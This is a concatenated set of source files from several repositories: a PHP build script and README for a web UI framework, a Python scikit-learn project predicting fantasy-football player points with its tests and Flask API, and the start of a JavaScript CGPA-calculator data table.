echo `mkdir $js_release_path_root`;
if (PHP_OS == 'WINNT') echo `del $JS_INTERMEDIA`;
else echo `rm $JS_INTERMEDIA`;
$bases = glob(PATH('source/js/base/*'));
usort($bases, 'CMP_FILE');
foreach ($bases as $base)
cat ($base, $JS_INTERMEDIA, "\r\n");
$controls = glob(PATH('source/js/controls/*'));
// do we need this behavior ?
// usort($controls, 'CMP_FILE');
foreach ($controls as $control)
cat ($control, $JS_INTERMEDIA, "\r\n");
$js_release_file_name = PATH("$js_release_path_root/XUI.js");
$js_release_file_name_compressed = PATH("$js_release_path_root/XUI.min.js");
if (PHP_OS == 'WINNT') echo `copy $JS_INTERMEDIA $js_release_file_name`;
else echo `cp $JS_INTERMEDIA $js_release_file_name`;
`uglifyjs --comments -- $js_release_file_name > $js_release_file_name_compressed`;
echo "\n";
echo "\n";
$date = date(DATE_RFC822);
echo "DONE.\n";
echo "$date.\n";
if ($target == 'js') break;
}
// Utils.
function cat($src, $dst, $delimiter = NULL)
{
if (PHP_OS == 'WINNT')
`type $src >> $dst`;
else
`cat $src >> $dst`;
if ($delimiter)
{
$f = fopen($dst, 'ab');
fwrite($f, $delimiter);
fclose($f);
}
}
function PATH($path)
{
if (PHP_OS == 'WINNT')
return str_replace('/', '\\', $path);
else
return str_replace('\\', '/', $path);
}
function CMP_FILE($l, $r)
{
$l = pathinfo($l, PATHINFO_FILENAME);
$r = pathinfo($r, PATHINFO_FILENAME);
$l = explode('.', $l); $l = (int)$l[0];
$r = explode('.', $r); $r = (int)$r[0];
return $l - $r;
}
?><file_sep>/README.md
XUIWeb
======
A web UI framework.
Build
----------------------
- Install php and config php cli.
[See here. ](http://www.php.net/downloads.php)
[And here. ](http://www.php.net/manual/en/features.commandline.introduction.php)
- Install node.js.
[See here. ](http://nodejs.org/)
- Install uglifycss.
<code>npm install -g uglifycss</code>
- Install uglifyjs.
<code>npm install -g uglify-js</code>
- Install less.
<code>npm install -g less</code>
- Build.
<code>php build.php</code>
Structure
--------------------------
*build.php* generates XUI.js, XUI.min.js into *release/js* and XUI.css, XUI.min.css and related images
for each skin into *release/css/<skin-name>*.
*source* is where build.php gets codes to be built.
To build XUI.js, XUI.min.js, *build.php* combines each file in *source/js/base* (which contains basic js files)
and *source/js/controls* (which contains controls) and makes some necessary optimazation.
To build XUI.css, XUI.min.css, *build.php* first looks into *source/css/skin* to find out that how many skin folders
are standing there. And for each skin folder(except the *default* folder, which contains default skin files),
*build.php* generates a seperate XUI.js, XUI.min.js into *release/css/<skin-name>*. *build.php* completes that task by
combining each file in *source/css/base*, *source/css/control*, *source/css/skin/default*, *source/css/skin/<skin-name>*,
compiling less codes to CSS codes, and finally mask some necessary optimazation.
The order in while files are combined is exactly the order in which they are listed above. Files in the same folder
will be combined according to their order-mark of their filename (ie, no.XXXX.css or no.XXXX.js). Note that files in
*source/js/controls* and *source/css/control* are not combined in order.
FontV2 structure
-----------------------------
* *FontV2/path.jsp*, used to get the ralative path of a JSP file to support page package.
* *FontV2/XUI*, compiled XUI files.
* *FontV2/page*, page packages.
**See *FontV2/page/index/js/switch_page.js* to get a full understanding of compatible page loading mechanism.**
| 98bbf13d3c327de4507415abdd996a744183da18 | [
"Markdown",
"PHP"
] | 2 | PHP | jxdabc/XUIWeb | 4b5febc0c2b8d0194a5c88115e86b93179845351 | ba5e217ea4e8f0ba0b5c9f74f6f367e5ecb22677 |
refs/heads/main | <repo_name>KosiOju/FantasyFootballML<file_sep>/packages/lasso_regression_model/lasso_regression_model/processing/preprocessors.py
import numpy as np
import pandas as pd
from sklearn.base import BaseEstimator, TransformerMixin #REMEMBER
from sklearn.preprocessing import OrdinalEncoder
from lasso_regression_model.processing.errors import InvalidModelInputError
# feature engineer rare labels
class RareCategoricalVariables(BaseEstimator, TransformerMixin):
# find frequent labels and replace rare ones with 'Rare'
# self.variables __ CATEGORICAL_VARIABLES
def __init__(self, variables=None, rare_perc=0.001):
self.rare_perc = rare_perc
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
self.encoder_dict_ = {}
for feature in self.variables:
tmp = pd.Series(X[feature].value_counts(()) / float((len(X))))
self.encoder_dict_[feature] = list(tmp[tmp >= self.rare_perc].index)
return self
def transform(self, X):
X = X.copy()
for feature in self.variables:
X[feature] = np.where(X[feature].isin(
self.encoder_dict_[feature]), X[feature], 'Rare')
print('Rare labels added...')
return X
# ordinal encode cat vars
class OrdinalEncodeCategoricalVariables(BaseEstimator, TransformerMixin):
"""String to numbers categorical encoder."""
def __init__(self, variables=None):
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y):
temp = pd.concat([X, y], axis=1)
temp.columns = list(X.columns) + ["points"] # will be "points" instead of "target"
# persist transforming dictionary
self.encoder_dict_ = {} # created to store the encoded values
for var in self.variables:
t = temp.groupby([var])["points"].mean().sort_values(ascending=True).index
self.encoder_dict_[var] = {k: i for i, k in enumerate(t, 0)}
return self
def transform(self, X):
# encode labels
X = X.copy() # so as not to transform the real data
for feature in self.variables:
X[feature] = X[feature].map(self.encoder_dict_[feature])
# check if transformer introduces NaN
if X[self.variables].isnull().any().any():
null_counts = X[self.variables].isnull().any()
vars_ = {
key: value for (key, value) in null_counts.items() if value is True
}
raise InvalidModelInputError(
f"Categorical encoder has introduced NaN when "
f"transforming categorical variables: {vars_.keys()}"
)
return X
"""
I SHULD HAVE A GO AT ENCODING WITHOUT ORDINAL ENCODER - done! (copied the code still)
"""
# Feature Scaling --> kinda the same as the train and transform scaler
# ... happens in the pipeline ...
# train and transform scaler
# fit and predict model<file_sep>/ffmlSklearnPipeline/train_pipeline.py
import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
import joblib
from pipeline import ffml_pipe
import config as cfg
def run_training():
print('Training the model...')
# read training data
data = pd.read_csv(cfg.TRAINING_DATA_FILE)
# divide train and test
X_train, X_test, y_train, y_test = train_test_split(
data[cfg.FEATURE_LIST],
data[cfg.TARGET],
test_size=0.2,
random_state=0)
ffml_pipe.fit(X_train, y_train)
joblib.dump(ffml_pipe, cfg.PIPELINE_NAME)
print('Model trained...')
if __name__ == '__main__':
run_training()<file_sep>/packages/ml_api/api/controller.py
from flask import Blueprint, request
from api.config import get_logger
_logger = get_logger(logger_name=__name__)
prediction_app = Blueprint('prediction_app', __name__)
@prediction_app.route('/health', methods=['GET'])
def health():
if request.method == 'GET':
_logger.info('health status OK')
return 'health route is ok'<file_sep>/packages/lasso_regression_model/tests/test_ordinal_encode.py
import numpy as np
from lasso_regression_model.processing.data_management import load_dataset
# need to test how the encode_dict in preprocessors.py
# to check it is not empty
# not sure how to do this yet...
def test_xtest_playerNname_dtype():
# given
test_data_xtest = load_dataset(file_name='xtest.csv')
# when
correct_dtype = np.dtype(np.int64)
test_dtype_xtest = test_data_xtest["playerName"].dtypes
# then
assert test_dtype_xtest == correct_dtype
def test_xtrain_playerName_dtype():
# given
test_data_xtrain = load_dataset(file_name='xtrain.csv')
# when
correct_dtype = np.dtype(np.int64)
test_dtype_xtrain = test_data_xtrain["playerName"].dtypes
# then
assert test_dtype_xtrain == correct_dtype<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/train_pipeline.py
from sklearn.model_selection import train_test_split
from lasso_regression_model import pipeline
from lasso_regression_model.processing.data_management import load_dataset, save_pipeline
from lasso_regression_model.config import config as cfg
from lasso_regression_model import __version__ as _version
import logging
_logger = logging.getLogger(__name__)
def run_training():
print('Training the model...')
# read training data
data = load_dataset(file_name=cfg.TRAINING_DATA_FILE)
# divide train and test
X_train, X_test, y_train, y_test = train_test_split(
data[cfg.FEATURE_LIST],
data[cfg.TARGET],
test_size=0.2,
random_state=0) # setting the seed here
# if data tranformed then the target would be transformed
# here as well
pipeline.ffml_pipe.fit(X_train[cfg.FEATURE_LIST], y_train)
_logger.info(f"saving model version: {_version}")
save_pipeline(pipeline_to_persist=pipeline.ffml_pipe)
print('Model trained...')
if __name__ == '__main__':
run_training()<file_sep>/ffmlSklearnPipeline/preprocessors.py
import numpy as np
import pandas as pd
from sklearn.base import BaseEstimator, TransformerMixin #REMEMBER
from sklearn.preprocessing import OrdinalEncoder
# THIS FILE DOESN'T INCLUDE TRAIN TEST SPLIT
# -------------------------------------------------------------------------
# __init__: ensures that strings are all converted into lists
# fit: what the class needs to learn from the data
# transform: transform a copy of the data and sub back into the real data
# -------------------------------------------------------------------------
# load features - can just use the config file
# feature engineer rare labels
class RareCategoricalVariables(BaseEstimator, TransformerMixin):
# find frequent labels and replace rare ones with 'Rare'
# self.variables __ CATEGORICAL_VARIABLES
def __init__(self, variables=None, rare_perc=0.001):
self.rare_perc = rare_perc
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
self.encoder_dict_ = {}
for feature in self.variables:
tmp = pd.Series(X[feature].value_counts(()) / float((len(X))))
self.encoder_dict_[feature] = list(tmp[tmp >= self.rare_perc].index)
return self
def transform(self, X):
X = X.copy()
for feature in self.variables:
X[feature] = np.where(X[feature].isin(
self.encoder_dict_[feature]), X[feature], 'Rare')
print('Rare labels added...')
return X
# ordinal encode cat vars
class OrdinalEncodeCategoricalVariables(BaseEstimator, TransformerMixin):
# order and encode categorical variables
# self.variables --> CATEGORICAL_VARIABLES
def __init__(self, variables=None):
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
# get_dummies isn't appropriate so use ordinal_map
# add points column to X so groupby works!
#X = X.copy()
print()
print(X.dtypes)
self.enc = OrdinalEncoder()
self.enc.fit(X[self.variables])
return self
def transform(self, X):
X[self.variables] = self.enc.transform(X[self.variables])
print()
print(X.dtypes)
return X
"""
class DropTarget(BaseEstimator, TransformerMixin):
def __init__(self, variables=None): #feature_list = ???
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
return self
def transform(self, X):
# X = X.copy()
# we want to directly change and transform X
X = X.drop(self.variables, axis=1)
print('Target dropped from X...')
return X
"""
# Feature Scaling --> kinda the same as the train and transform scaler
# ... happens in the pipeline ...
# train and transform scaler
# fit and predict model<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/pipeline.py
from sklearn.linear_model import Lasso # model
from sklearn.pipeline import Pipeline # sklearn.pipeline
from sklearn.preprocessing import MinMaxScaler # scaler
from lasso_regression_model.processing import preprocessors as pps
from lasso_regression_model.config import config as cfg
import logging
_logger = logging.getLogger(__name__)
ffml_pipe = Pipeline(
# complete with the list of steps from the pps file
# and the list of vars from cfg
[
('ReplaceRareCategoricalVariables',
pps.RareCategoricalVariables(
variables = cfg.CATEGORICAL_VARIABLES,
rare_perc = cfg.RARE_PERC)),
('OrdinalEncodeCategoricalVariables',
pps.OrdinalEncodeCategoricalVariables(
variables = cfg.CATEGORICAL_VARIABLES)),
# need:
# Transform - num vars dont get transformed in this one
# Drop features - dropped in pp.CategoricalEncoder
# Scaler
# model fitting
('Scaler',
MinMaxScaler()),
('LinearModel',
Lasso(alpha=0.005, random_state=0))
]
)<file_sep>/packages/ml_api/run.py
from api.app import create_app
from api.config import DevelopmentConfig
application = create_app(
config_object=DevelopmentConfig
)
if __name__ == '__main__':
application.run()
# 1st
# pip install -r packages\ml_api\requirements.txt
# 2nd
# set FLASK_APP=run.py
# 3rd
# python run.py<file_sep>/ffmlSklearnPipeline/predict.py
import pandas as pd
import joblib
import config as cfg
def make_prediction(input_data):
_titanic_pipe = joblib.load(filename= cfg.PIPELINE_NAME)
results = _titanic_pipe.predict(input_data)
return results
if __name__ == '__main__':
# test pipeline
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error as mse
from sklearn.metrics import r2_score
data = pd.read_csv(cfg.TRAINING_DATA_FILE)
X_train, X_test, y_train, y_test = train_test_split(
data[cfg.FEATURE_LIST],
data[cfg.TARGET],
test_size=0.2,
random_state=0)
pred = make_prediction(X_test)
# the less the mse the more efficient the model is
print('Mean Squared Error: {}'.format(mse(y_test, pred)))
print('Mean Error: {}'.format(mse(y_test, pred, squared=False)))
# correlation (1) close to 1 or -1 are good! - 0 is bad!
# r2 is easier to understand than regular r
# r2 shows how much of the data variation is explained by the fitted line
print('r2 score: {}'.format(r2_score(y_test, pred)))
print()
<file_sep>/packages/ml_api/tests/test_controller.py
def test_health_endpoint_returns_200(flask_test_client):
# when
response = flask_test_client.get('/health')
# then
assert response.status_code == 200<file_sep>/ffmlSklearnPipeline/config.py
# ============= PATHS =========
# load the data to save the pipeline
TRAINING_DATA_FILE = 'ffmlDf_20-21'
PIPELINE_NAME = 'lasso_regression.pkl'
FEATURE_LIST_FILE = 'selected_features.csv'
# ======= FEATURE GROUPS =============
# list of vars needed for the different engineering steps
# or groups of variables that we want to engineer
TARGET = 'points'
RARE_PERC = 0.001
CATEGORICAL_VARIABLES = ['playerName'] # , 'oppositionTeam']
NUMERICAL_VARIABLES = [] # not needed here
FEATURE_LIST = ['minsPlayed', 'goalsScored', 'assists', 'cleanSheets',
'goalsConceded', 'ownGoals', 'penSaved', 'yelCards', 'redCards',
'saves', 'bonus', 'influence', 'creativity', 'threat',
'costGBP', 'playerName']
# will have to manually add this
# points and oppositionTeam needs dropping as well
<file_sep>/packages/lasso_regression_model/tests/test_pkl_file_persist.py
from lasso_regression_model.config import config as cfg
from lasso_regression_model.processing import errors
def test_only_one_pkl_file_saved_in_trained_models():
# given
test_dir = cfg.TRAINED_MODEL_DIR
# when
test_dir_file_list_count = errors.pkl_file_list_count(test_dir=test_dir)
# then
assert test_dir_file_list_count is not None
assert test_dir_file_list_count == 1<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/config/config.py
import pathlib
import lasso_regression_model
import pandas as pd
pd.options.display.max_rows = 10
pd.options.display.max_columns = 10
PACKAGE_ROOT = pathlib.Path(lasso_regression_model.__file__).resolve().parent
TRAINED_MODEL_DIR = PACKAGE_ROOT / "trained_models"
DATASET_DIR = PACKAGE_ROOT / "datasets"
# data
TESTING_DATA_FILE = "xtest.csv"
TRAINING_DATA_FILE = "xtrain.csv"
TARGET = 'points'
# # PIPELINE_NAME = 'lasso_regression.pkl'
# # FEATURE_LIST_FILE = 'selected_features.csv'
RARE_PERC = 0.001
CATEGORICAL_VARIABLES = ['playerName']
FEATURE_LIST = ['minsPlayed', 'goalsScored', 'assists', 'cleanSheets',
'goalsConceded', 'ownGoals', 'penSaved', 'yelCards', 'redCards',
'saves', 'bonus', 'influence', 'creativity', 'threat',
'costGBP', 'playerName']
# will have to manually add this
# points and oppositionTeam needs dropping as well
NUMERICAL_VARIABLES = [
var for var in FEATURE_LIST
if var not in CATEGORICAL_VARIABLES
]
# # do we need a num_na_not_allowed and cat_na_not_allowed
# # not needed for me...
PIPELINE_NAME = 'lasso_regression' # ERROR POSIBILITY
PIPELINE_SAVE_FILE = f"{PIPELINE_NAME}_output_v"
# used for differential testing
ACCEPTABLE_MODEL_DIFFERENCE = 0.5<file_sep>/packages/lasso_regression_model/lasso_regression_model/processing/errors.py
import os
from lasso_regression_model.config import config as cfg
class BaseError(Exception):
"""Base package error."""
# this would be added to our "features.py" if we had one
# how do we use this??
class InvalidModelInputError(BaseError):
"""Model input contains an error."""
# not a class but this def is called in:
# test_pkl_file_persist.py
def pkl_file_list_count(*, test_dir):
test_dir_file_list = []
for file in os.listdir(test_dir):
if file.endswith(".pkl"):
test_dir_file_list.append(file)
return len(test_dir_file_list)<file_sep>/packages/ml_api/requirements.txt
# api
flask==1.1.2 # latest version of flask released April 2020
# local lasso_regression_model package
# update with your local path
-e "c:\Users\agbajumo\git_repos\FantasyFootballML\packages\lasso_regression_model"<file_sep>/packages/lasso_regression_model/tests/test_predict.py
import math
from lasso_regression_model.predict import make_prediction
from lasso_regression_model.processing.data_management import load_dataset
from lasso_regression_model.config import config as cfg
def test_make_single_prediction():
# given
test_data = load_dataset(file_name='xtest.csv')
single_test_json = test_data[0:1].to_json(orient='records')
# reads the 1st line of 'test.csv'
# when
subject = make_prediction(input_data=single_test_json)
# print(subject.get('predictions')[0])
# the above print statement was used to get the correct predicted value for
# line 22 ~ subject to change after editing
# then
assert subject is not None
assert isinstance(subject.get('predictions')[0], float) # calling the 'predictions' keyword from the dict
assert math.ceil(subject.get('predictions')[0]) == 16 # see line 17
def test_make_multiple_predictions():
# given
test_data = load_dataset(file_name='xtest.csv')
original_data_length = len(test_data)
multiple_test_json = test_data.to_json(orient='records')
# when
subject = make_prediction(input_data=multiple_test_json)
# print(original_data_length) # only work when tests fail
# print(subject.get('predictions')) --> verified the points for each individual player is outputted
# then
assert subject is not None
assert len(subject.get('predictions')) == 1034 # white box testing
# we dont expect any rows to be filtered out
assert len(subject.get('predictions')) == original_data_length
<file_sep>/packages/lasso_regression_model/tests/test_xtrain_and_xtest.py
from lasso_regression_model.config import config as cfg
from lasso_regression_model.processing.data_management import load_dataset
def test_xtrain_column_length():
# given
test_data = load_dataset(file_name='xtrain.csv')
test_data_column_len = len(test_data.columns) - 6
# when
correct_column_len = len(cfg.FEATURE_LIST)
# then
assert test_data_column_len is not None
assert test_data_column_len == correct_column_len
def test_xtest_column_length():
# given
test_data = load_dataset(file_name='xtest.csv')
test_data_column_len = len(test_data.columns) - 6
# when
correct_column_len = len(cfg.FEATURE_LIST)
# then
assert test_data_column_len is not None
assert test_data_column_len == correct_column_len
def test_xtrain_larger_than_xtest():
# given
test_xtrain_data = load_dataset(file_name='xtrain.csv')
test_xtrain_data_size = len(test_xtrain_data.index)
# when
test_xtest_data = load_dataset(file_name='xtest.csv')
test_xtest_data_size = len(test_xtest_data.index)
# then
assert test_xtrain_data_size is not None
assert test_xtest_data_size is not None
assert test_xtrain_data_size > test_xtest_data_size<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/predict.py
import pandas as pd
from lasso_regression_model.processing.data_management import load_pipeline
from lasso_regression_model.config import config as cfg
from lasso_regression_model.processing.validation import validate_inputs
from lasso_regression_model import __version__ as _version
import logging
_logger = logging.getLogger(__name__)
pipeline_file_name = f"{cfg.PIPELINE_SAVE_FILE}{_version}.pkl"
_price_pipe = load_pipeline(file_name=pipeline_file_name)
def make_prediction(*, input_data):
# make prediction using the saved model pipeline
data = pd.read_json(input_data)
validated_data = validate_inputs(input_data=data)
prediction = _price_pipe.predict(data[cfg.FEATURE_LIST])
# if data was transformed the reverse would happen here
results = {"predictions": prediction, "version": _version}
_logger.info(
f"Making predictions with model version: {_version}"
f"Inputs: {validated_data}"
f"Predictions: {results}"
)
return results<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/processing/preprocessors.py
import numpy as np
import pandas as pd
from sklearn.base import BaseEstimator, TransformerMixin #REMEMBER
from sklearn.preprocessing import OrdinalEncoder
from lasso_regression_model.processing.errors import InvalidModelInputError
# feature engineer rare labels
class RareCategoricalVariables(BaseEstimator, TransformerMixin):
# find frequent labels and replace rare ones with 'Rare'
# self.variables __ CATEGORICAL_VARIABLES
def __init__(self, variables=None, rare_perc=0.001):
self.rare_perc = rare_perc
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
self.encoder_dict_ = {}
for feature in self.variables:
tmp = pd.Series(X[feature].value_counts(()) / float((len(X))))
self.encoder_dict_[feature] = list(tmp[tmp >= self.rare_perc].index)
return self
def transform(self, X):
X = X.copy()
for feature in self.variables:
X[feature] = np.where(X[feature].isin(
self.encoder_dict_[feature]), X[feature], 'Rare')
print('Rare labels added...')
return X
# ordinal encode cat vars
class OrdinalEncodeCategoricalVariables(BaseEstimator, TransformerMixin):
# order and encode categorical variables
# self.variables --> CATEGORICAL_VARIABLES
def __init__(self, variables=None):
if not isinstance(variables, list):
self.variables = [variables]
else:
self.variables = variables
def fit(self, X, y=None):
# get_dummies isn't appropriate so use ordinal_map
# add points column to X so groupby works!
#X = X.copy()
#print()
#print(X.dtypes)
self.enc = OrdinalEncoder()
self.enc.fit(X[self.variables])
return self
def transform(self, X):
X[self.variables] = self.enc.transform(X[self.variables])
#print()
#print(X.dtypes)
return X
"""
I SHULD HAVE A GO AT ENCODING WITHOUT ORDINAL ENCODER
"""
# Feature Scaling --> kinda the same as the train and transform scaler
# ... happens in the pipeline ...
# train and transform scaler
# fit and predict model<file_sep>/README.md
# FantasyFootballML
Create and deeploy an ML model that predicts the Premier Leagues fantasy football player points
<file_sep>/packages/lasso_regression_model/lasso_regression_model/__init__.py
import logging
from lasso_regression_model.config import config as cfg
from lasso_regression_model.config import logging_config
VERSION_PATH = cfg.PACKAGE_ROOT / 'VERSION'
# setup logger for use in package
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG) # during production this becomes INFO
logger.addHandler(logging_config.get_console_handler())
logger.propagate = False
with open(VERSION_PATH, 'r') as version_file:
__version__ = version_file.read().strip()<file_sep>/packages/lasso_regression_model/build/lib/lasso_regression_model/processing/validation.py
from lasso_regression_model.config import config as cfg
import pandas as pd
def validate_inputs(input_data: pd.DataFrame) -> pd.DataFrame:
# -> shows what type the returned variable will be
# check model inputs for unprocessable values
validated_data = input_data.copy()
# check for NA in num vars not spotted during training
if input_data[cfg.NUMERICAL_VARIABLES].isnull().any().any():
validated_data = validated_data.dropna(
axis=0, subset=cfg.NUMERICAL_VARIABLES
)
# check for NA in cat vars
if input_data[cfg.CATEGORICAL_VARIABLES].isnull().any().any():
validated_data = validated_data.dropna(
axis=0, subset=cfg.CATEGORICAL_VARIABLES
)
# dont need to check for 0<= values
return validated_data<file_sep>/packages/lasso_regression_model/requirements.txt
# specify acceptable requirement ranges
# we generally only want a range in the patches
# versioning: major.minor.patch
# model building requirements
numpy>=1.19.2,<1.20.0
pandas>=1.1.3,<1.2.0
scikit-learn>=0.23.2,<0.24.0
joblib>=0.17.0,<0.18.0
# testing requirements
pytest>=6.1.1,<6.2.0
# packaging
setuptools>=50.3.1,<51.0.0
wheel>=0.33.6,<0.34.0
# not sure the best version of wheel to install | 745ae07f0101620647698b96644a545712d183a8 | [
"Markdown",
"Python",
"Text"
] | 23 | Python | KosiOju/FantasyFootballML | b15f70e020889ebfe6cc984dd57459595ea85150 | 810f867dcc4a96bae5bf1966071bb95221a0ca71 |
refs/heads/master | <repo_name>Sarathkrishnan/ktu-cgpa-calculator<file_sep>/script.js
var data = [
cs = [
[
9,
sub1 = {
crdt: 4,
sub_name: "Calculus",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Introduction to _______ Engineering ",
},
sub5 = {
crdt: 3,
sub_name: "Introduction to Sustainable Engg",
},
sub6 = {
crdt: 3,
sub_name: "Basic of ____",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Differential Equations (MA102)",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Design and Engineering (BE102)",
},
sub5 = {
crdt: 3,
sub_name: "Basics of X Engineering (CE/ME/EE/EC 100)",
},
sub6 = {
crdt: 3,
sub_name: "Basics of Y Engineering (CE/ME/EE/EC 100)",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Linear Algebra & Complex Analysis(MA201)",
},
sub2 = {
crdt: 4,
sub_name: "Discrete Computational Structures(CS201)",
},
sub3 = {
crdt: 4,
sub_name: "Switching Theory and Logic Design(CS203)",
},
sub4 = {
crdt: 4,
sub_name: "Data Structures(CS205)",
},
sub5 = {
crdt: 3,
sub_name: "Electronics Devices & Circuits(CS207)",
},
sub6 = {
crdt: 3,
sub_name: "Business Economics/Life Skills(HS200/HS210)",
},
sub7 = {
crdt: 1,
sub_name: "Data Structures Lab(CS231)",
},
sub8 = {
crdt: 1,
sub_name: "Electronics Circuits Lab(CS233)",
},
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Probability Distributions and Transforms (MA202)",
},
sub2 = {
crdt: 4,
sub_name: "Computer Organization and Architecture(CS202)",
},
sub3 = {
crdt: 4,
sub_name: "Operating Systems(CS204)",
},
sub4 = {
crdt: 3,
sub_name: "Object Oriented Design and Programming(CS206)",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Database Design(CS208)",
},
sub6 = {
crdt: 3,
sub_name: "Life Skills/Business Economics(HS210/HS200)",
},
sub7 = {
crdt: 1,
sub_name: "Free and Open Source Software Lab(CS232)",
},
sub8 = {
crdt: 1,
sub_name: "Digital Systems Lab(CS234)",
},
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Theory of Computation (CS301)",
},
sub2 = {
crdt: 3,
sub_name: "System Software (CS303)",
},
sub3 = {
crdt: 3,
sub_name: "Microprocessors and Microcontrollers(CS305)",
},
sub4 = {
crdt: 3,
sub_name: "Data Communication (CS307)",
},
sub5 = {
crdt: 3,
sub_name: "Graph Theory and Combinatorics (CS309)",
},
sub6 = {
crdt: 3,
sub_name: "Elective 1(CS 361/363/365/367/369)",
},
sub7 = {
crdt: 2,
sub_name: "Design Project (CS341)",
},
sub8 = {
crdt: 1,
sub_name: "System Software Lab (CS331)",
},
sub9 = {
crdt: 1,
sub_name: "Application Software Development Lab (CS333)",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Design and Analysis of Algorithms(CS302)",
},
sub2 = {
crdt: 3,
sub_name: "Compiler Design(CS304)",
},
sub3 = {
crdt: 3,
sub_name: "Computer Networks(CS306)",
},
sub4 = {
crdt: 3,
sub_name: "Software Engineering and Project Management(CS308)",
},
sub5 = {
crdt: 3,
sub_name: "Principles of Management(HS300)",
},
sub6 = {
crdt: 3,
sub_name: "Elective 2(CS 362/364/366/368/372)",
},
sub7 = {
crdt: 1,
sub_name: "Microprocessor Lab(CS332)",
},
sub8 = {
crdt: 1,
sub_name: "Network Programming Lab(CS304)",
},
sub9 = {
crdt: 2,
sub_name: "Comprehensive Exam(CS352)",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Computer Graphics (CS401)",
},
sub2 = {
crdt: 3,
sub_name: "Programming Paradigms (CS403)",
},
sub3 = {
crdt: 3,
sub_name: "Computer System Architecture (CS405)",
},
sub4 = {
crdt: 3,
sub_name: "Distributed Computing (CS407)",
},
sub5 = {
crdt: 3,
sub_name: "Cryptography and Network Security (CS409)",
},
sub6 = {
crdt: 3,
sub_name: "Elective 3 ",
},
sub7 = {
crdt: 2,
sub_name: "Seminar & Project Preliminary (CS451)",
},
sub8 = {
crdt: 1,
sub_name: "Compiler Design Lab (CS431)",
}
],
[
5,
sub1 = {
crdt: 3,
sub_name: "Data Mining and Ware Housing (CS402)",
},
sub2 = {
crdt: 3,
sub_name: "Embedded Systems (CS404)",
},
sub3 = {
crdt: 3,
sub_name: "Elective 4 ",
},
sub4 = {
crdt: 3,
sub_name: "Elective 5 (Non Departmental)",
},
sub5 = {
crdt: 6,
sub_name: "Project (CS492)",
}
]
],
ce = [
[
9,
sub1 = {
crdt: 4,
sub_name: "Calculus",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Introduction to _______ Engineering ",
},
sub5 = {
crdt: 3,
sub_name: "Introduction to Sustainable Engg",
},
sub6 = {
crdt: 3,
sub_name: "Basic of ____",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
9,
sub1 = {
crdt: 4,
sub_name: "Differential Equations (MA102)",
},
sub2 = {
crdt: 4,
sub_name: "Physics or Chemistry",
},
sub3 = {
crdt: 0,
sub_name: "Mechanics or Graphics",
},
sub4 = {
crdt: 3,
sub_name: "Design and Engineering (BE102)",
},
sub5 = {
crdt: 3,
sub_name: "Basics of X Engineering (CE/ME/EE/EC 100)",
},
sub6 = {
crdt: 3,
sub_name: "Basics of Y Engineering (CE/ME/EE/EC 100)",
},
sub7 = {
crdt: 1,
sub_name: "Engineering lab Phy|Chem",
},
sub8 = {
crdt: 1,
sub_name: "Engineering workshop 1",
},
sub9 = {
crdt: 1,
sub_name: "Engineering workshop 2",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "LinearAlgebra & Complex Analysis ",
},
sub2 = {
crdt: 4,
sub_name: "Mechanics of Solids",
},
sub3 = {
crdt: 4,
sub_name: "Fluid Mechanics I",
},
sub4 = {
crdt: 4,
sub_name: "Engineering Geology",
},
sub5 = {
crdt: 3,
sub_name: "Surveying ",
},
sub6 = {
crdt: 3,
sub_name: "Business Economics/Life Skills",
},
sub7 = {
crdt: 1,
sub_name: "Civil Engineering Drafting Lab",
},
sub8 = {
crdt: 1,
sub_name: "Surveying Lab",
}
],
[
8,
sub1 = {
crdt: 4,
sub_name: "Probability Distributions, TransformsandNumerical Methods",
},
sub2 = {
crdt: 4,
sub_name: "Structural Analysis I ",
},
sub3 = {
crdt: 4,
sub_name: "Construction Technology",
},
sub4 = {
crdt: 3,
sub_name: "Fluid Mechanics II",
},
sub5 = {
crdt: 3,
sub_name: "Geotechnical Engineering I",
},
sub6 = {
crdt: 3,
sub_name: "Life Skills/Business Economics",
},
sub7 = {
crdt: 1,
